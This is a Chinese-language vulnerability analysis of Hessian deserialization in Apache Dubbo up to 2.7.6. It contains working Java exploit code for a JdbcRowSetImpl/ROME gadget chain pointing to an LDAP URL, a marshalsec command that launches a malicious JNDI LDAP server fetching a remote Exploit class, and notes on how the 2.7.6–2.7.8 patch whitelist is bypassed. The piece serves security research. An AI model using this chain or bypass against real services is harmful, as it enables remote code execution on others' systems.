Dubbo下的Hessian反序列化漏洞分析及问题
字数 1425 2025-08-03 16:48:47
Dubbo下的Hessian反序列化漏洞分析与利用
前言
Apache Dubbo是一款高性能、轻量级的开源Java RPC框架,提供三大核心能力:
- 面向接口的远程方法调用
- 智能容错和负载均衡
- 服务自动注册和发现
Dubbo RPC支持多种序列化方式,包括dubbo序列化、hessian2序列化、kryo序列化、json序列化和java序列化等。本文将重点分析Dubbo中使用Hessian序列化时的反序列化漏洞。
环境配置
测试环境搭建参考:
- 使用dubbo-spring-boot-project中的2.7.5版本
- 配置consumer、provider和service接口
- 参考文章:https://www.anquanke.com/post/id/209251
Hessian反序列化漏洞分析(<=2.7.6版本)
漏洞利用链构造
使用经典的JdbcRowSetImpl链构造payload:
public class DubboAutoConfigurationConsumerBootstrap {
public static void setFieldValue(Object obj,String name, Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(obj, value);
}
public static Object getDoublePayload() throws Exception{
JdbcRowSetImpl jdbcRowset = new JdbcRowSetImpl();
String url = "ldap://127.0.0.1:1389/Exploit";
jdbcRowset.setDataSourceName(url);
ToStringBean toStringBean = new ToStringBean(JdbcRowSetImpl.class, new ConstantTransformer(1));
EqualsBean equalsBean = new EqualsBean(ToStringBean.class, toStringBean);
HashMap<Object, Object> hashMap = new HashMap();
hashMap.put(equalsBean, "123");
setFieldValue(toStringBean, "_obj", jdbcRowset);
return hashMap;
}
@Reference(version = "1.0.0", url = "dubbo://127.0.0.1:12345")
private DemoService demoService;
@Bean
public ApplicationRunner runner() throws Exception{
Object o = getDoublePayload();
return args -> logger.info(demoService.commonTest(o));
}
}
在provider端添加接收Object参数的方法:
public String commonTest(Object o) {
return "s";
}
漏洞触发流程
-
启动恶意LDAP服务:
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:8000/#Exploit -
完整的调用链:
connect:615, JdbcRowSetImpl (com.sun.rowset) getDatabaseMetaData:4004, JdbcRowSetImpl (com.sun.rowset) invoke0:-1, NativeMethodAccessorImpl (sun.reflect) invoke:62, NativeMethodAccessorImpl (sun.reflect) invoke:43, DelegatingMethodAccessorImpl (sun.reflect) invoke:498, Method (java.lang.reflect) toString:158, ToStringBean (com.rometools.rome.feed.impl) toString:129, ToStringBean (com.rometools.rome.feed.impl) beanHashCode:198, EqualsBean (com.rometools.rome.feed.impl) hashCode:180, EqualsBean (com.rometools.rome.feed.impl) hash:339, HashMap (java.util) put:612, HashMap (java.util) doReadMap:145, MapDeserializer (com.alibaba.com.caucho.hessian.io) readMap:126, MapDeserializer (com.alibaba.com.caucho.hessian.io) readObject:2703, Hessian2Input (com.alibaba.com.caucho.hessian.io) readObject:2278, Hessian2Input (com.alibaba.com.caucho.hessian.io) readObject:2080, Hessian2Input (com.alibaba.com.caucho.hessian.io) readObject:2074, Hessian2Input (com.alibaba.com.caucho.hessian.io) readObject:92, Hessian2ObjectInput (org.apache.dubbo.common.serialize.hessian2) decode:139, DecodeableRpcInvocation (org.apache.dubbo.rpc.protocol.dubbo) decode:79, DecodeableRpcInvocation (org.apache.dubbo.rpc.protocol.dubbo) decode:57, DecodeHandler (org.apache.dubbo.remoting.transport) received:44, DecodeHandler (org.apache.dubbo.remoting.transport) run:57, ChannelEventRunnable (org.apache.dubbo.remoting.transport.dispatcher) runWorker:1149, ThreadPoolExecutor (java.util.concurrent) run:624, ThreadPoolExecutor$Worker (java.util.concurrent) run:748, Thread (java.lang)
关键代码分析
- 入口点:
DecodeHandler#received方法开始解析消息内容 - 多层decode调用:经过多次嵌套调用后,使用
in.readUTF()获取HessianInput对象 - 方法获取:从repo中获取所有service path,并获取consumer调用的方法名(如commonTest)
- 反序列化操作:调用
HessianObjectInput#readObject方法 - Hessian解析:通过tag标识(72表示map)调用
readMap和doReadMap方法 - 触发点:最终通过HashMap的put方法触发反序列化
二次反序列化利用问题
尝试使用SignedObject进行二次反序列化时失败,原因在于:
- Dubbo的
JavaDeserializer在反序列化时会先初始化类,再用反序列化数据填充属性 - 初始化时使用null填充属性,导致SignedObject无法正常初始化
- 与Hessian原生的tfactory问题不同,这是Dubbo特有的封装问题
补丁分析(2.7.6-2.7.8版本)
主要补丁集中在isGenericCall和isEcho函数的白名单过滤上:
- 对函数名进行白名单过滤
- 对函数调用参数进行白名单类型过滤
但实际测试发现,构造的payload数据流并未流经isGenericCall方法,因为:
pts(参数类型数组)在判断前已被赋值:pts = methodDescriptor.getParameterClasses()- 只有当
pts == DubboCodec.EMPTY_CLASS_ARRAY时才会进入白名单过滤 - 使用Object参数的方法时,
pts必然被赋值,不会进入白名单过滤逻辑
结论与参考
- Dubbo对Hessian的封装增加了反序列化漏洞利用的复杂性
- 某些高级利用链(如二次反序列化)可能因Dubbo的特殊处理而失效
- 补丁在特定场景下可能无法完全防护漏洞
参考文章:
- https://tttang.com/archive/1730/#toc__4
- https://tttang.com/archive/1747/#toc_
- https://www.anquanke.com/post/id/209251